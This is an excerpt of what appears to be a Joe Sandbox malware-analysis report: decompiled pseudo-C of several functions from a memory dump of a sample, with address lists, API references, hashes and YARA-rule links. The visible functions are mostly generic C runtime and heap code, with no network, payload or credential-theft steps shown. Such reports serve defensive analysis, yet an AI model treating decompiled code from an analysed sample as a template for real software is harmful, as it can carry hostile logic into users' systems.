				if((_t268 & 0x00000044) == 0) {
					_v16 =  *0x424724;
					_v16 =  *0x424720;
				}
				_v16 =  *0x42471c;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v16 =  *0x424718;
					_v16 =  *0x424714;
				}
				_v16 =  *0x424710;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v16 =  *0x42470c;
					_v16 =  *0x424708;
				}
				_v16 =  *0x424704;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v16 =  *0x424700;
					_v16 =  *0x4246fc;
				}
				_v40 =  *0x4246f8;
				_v40 =  *0x4246f4;
				_v40 =  *0x4246f0;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v40 =  *0x4246ec;
					_v40 =  *0x4246e8;
				}
				_v40 =  *0x4246e4;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v40 =  *0x4246e0;
					_v40 =  *0x4246dc;
				}
				_v40 =  *0x4246d8;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v40 =  *0x4246d4;
					_v40 =  *0x4246d0;
				}
				_v40 =  *0x4246cc;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v40 =  *0x4246c8;
					_v40 =  *0x4246c4;
				}
				_v40 =  *0x4246c0;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v40 =  *0x4246bc;
					_v40 =  *0x4246b8;
				}
				_v24 =  *0x4246b4;
				_v24 =  *0x4246b0;
				_v24 =  *0x4246ac;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v24 =  *0x4246a8;
					_v24 =  *0x4246a4;
				}
				_v24 =  *0x4246a0;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v24 =  *0x42469c;
					_v24 =  *0x424698;
				}
				_v24 =  *0x424694;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v24 =  *0x424690;
					_v24 =  *0x42468c;
				}
				_v24 =  *0x424688;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v24 =  *0x424684;
					_v24 =  *0x424680;
				}
				_v24 =  *0x42467c;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v24 =  *0x424678;
					_v24 =  *0x424674;
				}
				_v36 =  *0x424670;
				_v36 =  *0x42466c;
				_v36 =  *0x424668;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v36 =  *0x424664;
					_v36 =  *0x424660;
				}
				_v36 =  *0x42465c;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v36 =  *0x424658;
					_v36 =  *0x424654;
				}
				_v36 =  *0x424650;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v36 =  *0x42464c;
					_v36 =  *0x424648;
				}
				_v36 =  *0x424644;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v36 =  *0x424640;
					_v36 =  *0x42463c;
				}
				_v36 =  *0x424638;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v36 =  *0x424634;
					_v36 =  *0x424630;
				}
				_v12 =  *0x42462c;
				_v12 =  *0x424628;
				_v12 =  *0x424624;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v12 =  *0x424620;
					_v12 =  *0x42461c;
				}
				_v12 =  *0x424618;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v12 =  *0x424614;
					_v12 =  *0x424610;
				}
				_v12 =  *0x42460c;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v12 =  *0x424608;
					_v12 =  *0x424604;
				}
				_v12 =  *0x424600;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v12 =  *0x4245fc;
					_v12 =  *0x4245f8;
				}
				_v12 =  *0x4245f4;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v12 =  *0x4245f0;
					_v12 =  *0x4245ec;
				}
				_v32 =  *0x4245e8;
				_v32 =  *0x4245e4;
				_v32 =  *0x4245e0;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v32 =  *0x4245dc;
					_v32 =  *0x4245d8;
				}
				_v32 =  *0x4245d4;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v32 =  *0x4245d0;
					_v32 =  *0x4245cc;
				}
				_v32 =  *0x4245c8;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v32 =  *0x4245c4;
					_v32 =  *0x4245c0;
				}
				_v32 =  *0x4245bc;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				if((_t268 & 0x00000044) == 0) {
					_v32 =  *0x4245b8;
					_v32 =  *0x4245b4;
				}
				_v32 =  *0x4245b0;
				asm("fcomp qword [0x424370]");
				asm("fnstsw ax");
				_t328 = _t268 & 0x00000044;
				if((_t268 & 0x00000044) == 0) {
					_v32 =  *0x4245ac;
					_v32 =  *0x4245a8;
				}
				_push(0x2000); // executed
				_t269 = E0040D298(_t277, _t280, _t283, _t328); // executed
				_v44 = _t269;
				_v8 = _v44;
				MultiByteToWideChar(0, 0, _a4, 0xffffffff, _v8, 0x1000);
				E0040F1A0(_t277, _t283, _t284, _a8, _v8, 0x1000);
				_v48 = _v8;
				_push(_v48);
				E0040F505(_t277, _t283, _t284, _t328);
				return _a8;
			}

0x00402f90
0x00402f90
0x00402f9c
0x00402fa5
0x00402fae
0x00402fb4
0x00402fba
0x00402fbf
0x00402fc7
0x00402fd0
0x00402fd0
0x00402fd9
0x00402fdf
0x00402fe5
0x00402fea
0x00402ff2
0x00402ffb
0x00402ffb
0x00403004
0x0040300a
0x00403010
0x00403015
0x0040301d
0x00403026
0x00403026
0x0040302f
0x00403035
0x0040303b
0x00403040
0x00403048
0x00403051
0x00403051
0x0040305a
0x00403060
0x00403066
0x0040306b
0x00403073
0x0040307c
0x0040307c
0x00403085
0x0040308e
0x00403097
0x0040309d
0x004030a3
0x004030a8
0x004030b0
0x004030b9
0x004030b9
0x004030c2
0x004030c8
0x004030ce
0x004030d3
0x004030db
0x004030e4
0x004030e4
0x004030ed
0x004030f3
0x004030f9
0x004030fe
0x00403106
0x0040310f
0x0040310f
0x00403118
0x0040311e
0x00403124
0x00403129
0x00403131
0x0040313a
0x0040313a
0x00403143
0x00403149
0x0040314f
0x00403154
0x0040315c
0x00403165
0x00403165
0x0040316e
0x00403177
0x00403180
0x00403186
0x0040318c
0x00403191
0x00403199
0x004031a2
0x004031a2
0x004031ab
0x004031b1
0x004031b7
0x004031bc
0x004031c4
0x004031cd
0x004031cd
0x004031d6
0x004031dc
0x004031e2
0x004031e7
0x004031ef
0x004031f8
0x004031f8
0x00403201
0x00403207
0x0040320d
0x00403212
0x0040321a
0x00403223
0x00403223
0x0040322c
0x00403232
0x00403238
0x0040323d
0x00403245
0x0040324e
0x0040324e
0x00403257
0x00403260
0x00403269
0x0040326f
0x00403275
0x0040327a
0x00403282
0x0040328b
0x0040328b
0x00403294
0x0040329a
0x004032a0
0x004032a5
0x004032ad
0x004032b6
0x004032b6
0x004032bf
0x004032c5
0x004032cb
0x004032d0
0x004032d8
0x004032e1
0x004032e1
0x004032ea
0x004032f0
0x004032f6
0x004032fb
0x00403303
0x0040330c
0x0040330c
0x00403315
0x0040331b
0x00403321
0x00403326
0x0040332e
0x00403337
0x00403337
0x00403340
0x00403349
0x00403352
0x00403358
0x0040335e
0x00403363
0x0040336b
0x00403374
0x00403374
0x0040337d
0x00403383
0x00403389
0x0040338e
0x00403396
0x0040339f
0x0040339f
0x004033a8
0x004033ae
0x004033b4
0x004033b9
0x004033c1
0x004033ca
0x004033ca
0x004033d3
0x004033d9
0x004033df
0x004033e4
0x004033ec
0x004033f5
0x004033f5
0x004033fe
0x00403404
0x0040340a
0x0040340f
0x00403417
0x00403420
0x00403420
0x00403429
0x00403432
0x0040343b
0x00403441
0x00403447
0x0040344c
0x00403454
0x0040345d
0x0040345d
0x00403466
0x0040346c
0x00403472
0x00403477
0x0040347f
0x00403488
0x00403488
0x00403491
0x00403497
0x0040349d
0x004034a2
0x004034aa
0x004034b3
0x004034b3
0x004034bc
0x004034c2
0x004034c8
0x004034cd
0x004034d5
0x004034de
0x004034de
0x004034e7
0x004034ed
0x004034f3
0x004034f8
0x00403500
0x00403509
0x00403509
0x00403512
0x0040351b
0x00403524
0x0040352a
0x00403530
0x00403535
0x0040353d
0x00403546
0x00403546
0x0040354f
0x00403555
0x0040355b
0x00403560
0x00403568
0x00403571
0x00403571
0x0040357a
0x00403580
0x00403586
0x0040358b
0x00403593
0x0040359c
0x0040359c
0x004035a5
0x004035ab
0x004035b1
0x004035b6
0x004035be
0x004035c7
0x004035c7
0x004035d0
0x004035d6
0x004035dc
0x004035e1
0x004035e9
0x004035f2
0x004035f2
0x004035fb
0x00403604
0x0040360d
0x00403613
0x00403619
0x0040361e
0x00403626
0x0040362f
0x0040362f
0x00403638
0x0040363e
0x00403644
0x00403649
0x00403651
0x0040365a
0x0040365a
0x00403663
0x00403669
0x0040366f
0x00403674
0x0040367c
0x00403685
0x00403685
0x0040368e
0x00403694
0x0040369a
0x0040369f
0x004036a7
0x004036b0
0x004036b0
0x004036b9
0x004036bf
0x004036c5
0x004036c7
0x004036ca
0x004036d2
0x004036db
0x004036db
0x004036de
0x004036e3
0x004036eb
0x004036f1
0x00403707
0x0040371a
0x00403725
0x0040372b
0x0040372c
0x0040373a

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00001000), ref: 00403707

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 4f802bc66d39862aee411bcd45e22f41d425ecf05013ee1c1d3dddd7bd05e506
Instruction ID: 0b70f2b5f5daf990f809a6daa4034862a8573d81f378d02ccbca17cc498a15b1
Opcode Fuzzy Hash: 4f802bc66d39862aee411bcd45e22f41d425ecf05013ee1c1d3dddd7bd05e506
Instruction Fuzzy Hash: E122F970A02119DBEB248F90FA8C2A9BF74FBD6751FD241A5D6D4320A9C73905728F1E

Uniqueness

Uniqueness Score: -1.00%

Function 0040A970 Relevance: 1.7, APIs: 1, Instructions: 192
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E0040A970(void* __ecx, intOrPtr* _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v28;
				signed int _v32;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr _v60;
				signed int _v64;
				intOrPtr _t84;
				signed int _t89;
				signed char _t99;
				signed char _t104;
				void* _t108;
				signed int _t110;
				signed char _t111;
				signed char _t117;
				signed int _t119;
				void* _t125;
				signed int _t156;
				intOrPtr _t197;
				intOrPtr _t198;
				void* _t199;

				_push(0xffffffff);
				_push(E00421F40);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t197;
				_push(__ecx);
				_t198 = _t197 - 0x2c;
				_v20 = _t198;
				_v24 = 0;
				_t84 = E00409A40(_a8);
				_t199 = _t198 + 4;
				_v28 = _t84;
				if(E0040ABD0(_a4 +  *((intOrPtr*)( *_a4 + 4))) <= 0) {
					L3:
					_v64 = 0;
				} else {
					_t125 = E0040ABD0(_a4 +  *((intOrPtr*)( *_a4 + 4)));
					_t201 = _t125 - _v28;
					if(_t125 <= _v28) {
						goto L3;
					} else {
						_v64 = E0040ABD0(_a4 +  *((intOrPtr*)( *_a4 + 4))) - _v28;
					}
				}
				_v32 = _v64;
				E0040A060( &_v40, _t201, _a4);
				if((E0040A130( &_v40) & 0x000000ff) != 0) {
					_v8 = 0;
					_t89 = E00409720(_a4 +  *((intOrPtr*)( *_a4 + 4)));
					__eflags = (_t89 & 0x000001c0) - 0x40;
					if((_t89 & 0x000001c0) != 0x40) {
						while(1) {
							__eflags = _v32;
							if(_v32 <= 0) {
								goto L13;
							}
							_t111 = E00409F80(_a4 +  *((intOrPtr*)( *_a4 + 4)));
							_v44 = E00409FC0(E004099F0(_a4 +  *((intOrPtr*)( *_a4 + 4))), _t111 & 0x000000ff);
							_v48 = E00409900(_t114);
							_t117 = E004098E0( &_v48,  &_v44);
							_t199 = _t199 + 8;
							__eflags = _t117 & 0x000000ff;
							if((_t117 & 0x000000ff) == 0) {
								_t119 = _v32 - 1;
								__eflags = _t119;
								_v32 = _t119;
								continue;
							} else {
								_v24 = _v24 | 0x00000004;
							}
							goto L13;
						}
					}
					L13:
					__eflags = _v24;
					if(_v24 == 0) {
						_t108 = E0040AF40(E004099F0(_a4 +  *((intOrPtr*)( *_a4 + 4))), _a8, _v28); // executed
						__eflags = _t108 - _v28;
						if(_t108 != _v28) {
							_t110 = _v24 | 0x00000004;
							__eflags = _t110;
							_v24 = _t110;
						}
					}
					__eflags = _v24;
					if(_v24 == 0) {
						while(1) {
							__eflags = _v32;
							if(_v32 <= 0) {
								goto L23;
							}
							_t99 = E00409F80(_a4 +  *((intOrPtr*)( *_a4 + 4)));
							_v52 = E00409FC0(E004099F0(_a4 +  *((intOrPtr*)( *_a4 + 4))), _t99 & 0x000000ff);
							_v56 = E00409900(_t102);
							_t104 = E004098E0( &_v56,  &_v52);
							_t199 = _t199 + 8;
							__eflags = _t104 & 0x000000ff;
							if((_t104 & 0x000000ff) == 0) {
								_t156 = _v32 - 1;
								__eflags = _t156;
								_v32 = _t156;
								continue;
							} else {
								_v24 = _v24 | 0x00000004;
							}
							goto L23;
						}
					}
					L23:
					E0040ABF0(_a4 +  *((intOrPtr*)( *_a4 + 4)), 0);
					_v8 = 0xffffffff;
				} else {
					_v24 = _v24 | 0x00000004;
				}
				E004099C0(_a4 +  *((intOrPtr*)( *_a4 + 4)), _v24, 0);
				_v60 = _a4;
				E0040A100( &_v40, _a4 +  *((intOrPtr*)( *_a4 + 4)));
				 *[fs:0x0] = _v16;
				return _v60;
			}

0x0040a973
0x0040a975
0x0040a980
0x0040a981
0x0040a988
0x0040a989
0x0040a98f
0x0040a992
0x0040a99d
0x0040a9a2
0x0040a9a5
0x0040a9ba
0x0040a9ed
0x0040a9ed
0x0040a9bc
0x0040a9c9
0x0040a9ce
0x0040a9d1
0x00000000
0x0040a9d3
0x0040a9e8
0x0040a9e8
0x0040a9d1
0x0040a9f7
0x0040aa01
0x0040aa13
0x0040aa23
0x0040aa35
0x0040aa3f
0x0040aa42
0x0040aa4f
0x0040aa4f
0x0040aa53
0x00000000
0x00000000
0x0040aa60
0x0040aa80
0x0040aa88
0x0040aa93
0x0040aa98
0x0040aa9e
0x0040aaa0
0x0040aa49
0x0040aa49
0x0040aa4c
0x00000000
0x0040aaa2
0x0040aaa8
0x0040aaa8
0x00000000
0x0040aaa0
0x0040aa4f
0x0040aaaf
0x0040aaaf
0x0040aab3
0x0040aad1
0x0040aad6
0x0040aad9
0x0040aade
0x0040aade
0x0040aae1
0x0040aae1
0x0040aad9
0x0040aae4
0x0040aae8
0x0040aaf5
0x0040aaf5
0x0040aaf9
0x00000000
0x00000000
0x0040ab06
0x0040ab26
0x0040ab2e
0x0040ab39
0x0040ab3e
0x0040ab44
0x0040ab46
0x0040aaef
0x0040aaef
0x0040aaf2
0x00000000
0x0040ab48
0x0040ab4e
0x0040ab4e
0x00000000
0x0040ab46
0x0040aaf5
0x0040ab55
0x0040ab62
0x0040ab8a
0x0040aa15
0x0040aa1b
0x0040aa1b
0x0040aba2
0x0040abaa
0x0040abb0
0x0040abbb
0x0040abc8

APIs

Part of subcall function 00409A40: _strlen.LIBCMT ref: 00409A47

std::ios_base::width.LIBCPMTD ref: 0040AB62

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: _strlenstd::ios_base::width
String ID:
API String ID: 3171587704-0
Opcode ID: 476aab8d22f69d91ff462af2910f6e29c6aafaf329ff3d1ec0b6975c1e310ffa
Instruction ID: 9fd14e7bacd8782cfa4c7254bf866c56794fc345f4335ae531f195c6efeba189
Opcode Fuzzy Hash: 476aab8d22f69d91ff462af2910f6e29c6aafaf329ff3d1ec0b6975c1e310ffa
Instruction Fuzzy Hash: 88811F74A002099FCB04DF65C591AAEBBB1FF44358F14812EE506AB392DB38EE51CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0041876A Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041876A(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x44d5ac = _t6;
				if(_t6 != 0) {
					 *0x44db94 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x0041877f
0x00418785
0x0041878c
0x00418793
0x00418799
0x0041878f
0x0041878f
0x0041878f

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0041877F

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: e04c5a68a9af414067c0d9a2e38cf2b34e8bf3435d74889e952b93a100c10d3d
Instruction ID: ebc7cf294db66b34bb372f0f9e9df501ed9a3c7d482537251455db8604eee32f
Opcode Fuzzy Hash: e04c5a68a9af414067c0d9a2e38cf2b34e8bf3435d74889e952b93a100c10d3d
Instruction Fuzzy Hash: BED05E3AA50345AEEB109F716C0A7623BECD384395F10843AB90CC6290F974D5408A18

Uniqueness

Uniqueness Score: -1.00%

Function 00417C83 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E00417C83(intOrPtr _a4) {
				void* __ebp;
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t5;
				void* _t8;

				_push(0);
				_push(0);
				_push(_a4);
				_t2 = E00417B57(_t3, _t4, _t5, _t8); // executed
				return _t2;
			}

0x00417c88
0x00417c8a
0x00417c8c
0x00417c8f
0x00417c98

APIs

_doexit.LIBCMT ref: 00417C8F

Part of subcall function 00417B57: __lock.LIBCMT ref: 00417B65
Part of subcall function 00417B57: __decode_pointer.LIBCMT ref: 00417B9C
Part of subcall function 00417B57: __decode_pointer.LIBCMT ref: 00417BB1
Part of subcall function 00417B57: __decode_pointer.LIBCMT ref: 00417BDB
Part of subcall function 00417B57: __decode_pointer.LIBCMT ref: 00417BF1
Part of subcall function 00417B57: __decode_pointer.LIBCMT ref: 00417BFE
Part of subcall function 00417B57: __initterm.LIBCMT ref: 00417C2D
Part of subcall function 00417B57: __initterm.LIBCMT ref: 00417C3D

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: __decode_pointer$__initterm$__lock_doexit
String ID:
API String ID: 1597249276-0
Opcode ID: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction ID: 1bcccd46dd483344bae25de1584cbafb7accd260e82a7e4a0228eefc1c8249d5
Opcode Fuzzy Hash: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction Fuzzy Hash: B0B0923268820833DA202543AC03F463A198BC0B68F250021BA0C1A1A1AAA3B9A18089

Uniqueness

Uniqueness Score: -1.00%

Function 004168BD Relevance: 1.5, APIs: 1, Instructions: 4
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004168BD() {
				void* _t1;

				_t1 = E0041684B(0); // executed
				return _t1;
			}

0x004168bf
0x004168c5

APIs

__encode_pointer.LIBCMT ref: 004168BF

Part of subcall function 0041684B: TlsGetValue.KERNEL32(00000000,?,004168C4,00000000,0041E86B,0044D188,00000000,00000314,?,00417E8A,0044D188,Microsoft Visual C++ Runtime Library,00012010), ref: 0041685D
Part of subcall function 0041684B: TlsGetValue.KERNEL32(00000005,?,004168C4,00000000,0041E86B,0044D188,00000000,00000314,?,00417E8A,0044D188,Microsoft Visual C++ Runtime Library,00012010), ref: 00416874
Part of subcall function 0041684B: RtlEncodePointer.NTDLL(00000000,?,004168C4,00000000,0041E86B,0044D188,00000000,00000314,?,00417E8A,0044D188,Microsoft Visual C++ Runtime Library,00012010), ref: 004168B2

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: Value$EncodePointer__encode_pointer
String ID:
API String ID: 2585649348-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: a5b4665ea4520bf2d6ba663489cc0e7a13d4fe248bc5172ae4a508d3e72ac4f9
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0041AEA0 Relevance: 66.4, APIs: 44, Instructions: 432
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041AEA0(signed int __eax, void* __esi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				char _v20;
				signed int _t142;
				signed int _t145;
				signed int _t148;
				signed int _t151;
				signed int _t154;
				signed int _t157;
				signed int _t159;
				signed int _t162;
				signed int _t165;
				signed int _t168;
				signed int _t171;
				signed int _t174;
				signed int _t177;
				signed int _t180;
				signed int _t183;
				signed int _t186;
				signed int _t189;
				signed int _t192;
				signed int _t195;
				signed int _t198;
				signed int _t201;
				signed int _t204;
				signed int _t207;
				signed int _t210;
				signed int _t213;
				signed int _t216;
				signed int _t219;
				signed int _t222;
				signed int _t225;
				signed int _t228;
				signed int _t231;
				signed int _t234;
				signed int _t237;
				signed int _t240;
				signed int _t243;
				signed int _t246;
				signed int _t249;
				signed int _t252;
				signed int _t255;
				signed int _t258;
				signed int _t261;
				signed int _t264;
				signed int _t267;
				signed int _t270;
				signed int _t276;

				_t278 =  *(__eax + 0x42) & 0x0000ffff;
				_t279 =  *(__eax + 0x44) & 0x0000ffff;
				_v8 =  *(__eax + 0x42) & 0x0000ffff;
				_v12 =  *(__eax + 0x44) & 0x0000ffff;
				if(__esi != 0) {
					_v16 = _v16 & 0x00000000;
					_v20 = __eax;
					_t142 = E0041C600(_t279,  &_v20, 1, _t278, 0x31, __esi + 4);
					_t145 = E0041C600(_t279,  &_v20, 1, _v8, 0x32, __esi + 8);
					_t148 = E0041C600(_t279,  &_v20, 1, _v8, 0x33, __esi + 0xc);
					_t151 = E0041C600(_t279,  &_v20, 1, _v8, 0x34, __esi + 0x10);
					_t154 = E0041C600(_t279,  &_v20, 1, _v8, 0x35, __esi + 0x14);
					_t157 = E0041C600(_t279,  &_v20, 1, _v8, 0x36, __esi + 0x18);
					_t159 = E0041C600(_t279,  &_v20, 1, _v8, 0x37, __esi);
					_t162 = E0041C600(_t279,  &_v20, 1, _v8, 0x2a, __esi + 0x20);
					_t165 = E0041C600(_t279,  &_v20, 1, _v8, 0x2b, __esi + 0x24);
					_t168 = E0041C600(_t279,  &_v20, 1, _v8, 0x2c, __esi + 0x28);
					_t171 = E0041C600(_t279,  &_v20, 1, _v8, 0x2d, __esi + 0x2c);
					_t174 = E0041C600(_t279,  &_v20, 1, _v8, 0x2e, __esi + 0x30);
					_t177 = E0041C600(_t279,  &_v20, 1, _v8, 0x2f, __esi + 0x34);
					_t180 = E0041C600(_t279,  &_v20, 1, _v8, 0x30, __esi + 0x1c);
					_t183 = E0041C600(_t279,  &_v20, 1, _v8, 0x44, __esi + 0x38);
					_t186 = E0041C600(_t279,  &_v20, 1, _v8, 0x45, __esi + 0x3c);
					_t189 = E0041C600(_t279,  &_v20, 1, _v8, 0x46, __esi + 0x40);
					_t192 = E0041C600(_t279,  &_v20, 1, _v8, 0x47, __esi + 0x44);
					_t195 = E0041C600(_t279,  &_v20, 1, _v8, 0x48, __esi + 0x48);
					_t198 = E0041C600(_t279,  &_v20, 1, _v8, 0x49, __esi + 0x4c);
					_t201 = E0041C600(_t279,  &_v20, 1, _v8, 0x4a, __esi + 0x50);
					_t204 = E0041C600(_t279,  &_v20, 1, _v8, 0x4b, __esi + 0x54);
					_t207 = E0041C600(_t279,  &_v20, 1, _v8, 0x4c, __esi + 0x58);
					_t210 = E0041C600(_t279,  &_v20, 1, _v8, 0x4d, __esi + 0x5c);
					_t213 = E0041C600(_t279,  &_v20, 1, _v8, 0x4e, __esi + 0x60);
					_t216 = E0041C600(_t279,  &_v20, 1, _v8, 0x4f, __esi + 0x64);
					_t219 = E0041C600(_t279,  &_v20, 1, _v8, 0x38, __esi + 0x68);
					_t222 = E0041C600(_t279,  &_v20, 1, _v8, 0x39, __esi + 0x6c);
					_t225 = E0041C600(_t279,  &_v20, 1, _v8, 0x3a, __esi + 0x70);
					_t228 = E0041C600(_t279,  &_v20, 1, _v8, 0x3b, __esi + 0x74);
					_t231 = E0041C600(_t279,  &_v20, 1, _v8, 0x3c, __esi + 0x78);
					_t234 = E0041C600(_t279,  &_v20, 1, _v8, 0x3d, __esi + 0x7c);
					_t237 = E0041C600(_t279,  &_v20, 1, _v8, 0x3e, __esi + 0x80);
					_t240 = E0041C600(_t279,  &_v20, 1, _v8, 0x3f, __esi + 0x84);
					_t243 = E0041C600(_t279,  &_v20, 1, _v8, 0x40, __esi + 0x88);
					_t246 = E0041C600(_t279,  &_v20, 1, _v8, 0x41, __esi + 0x8c);
					_t249 = E0041C600(_t279,  &_v20, 1, _v8, 0x42, __esi + 0x90);
					_t252 = E0041C600(_t279,  &_v20, 1, _v8, 0x43, __esi + 0x94);
					_t255 = E0041C600(_t279,  &_v20, 1, _v8, 0x28, __esi + 0x98);
					_t258 = E0041C600(_t279,  &_v20, 1, _v8, 0x29, __esi + 0x9c);
					_t261 = E0041C600(_t279,  &_v20, 1, _v12, 0x1f, __esi + 0xa0);
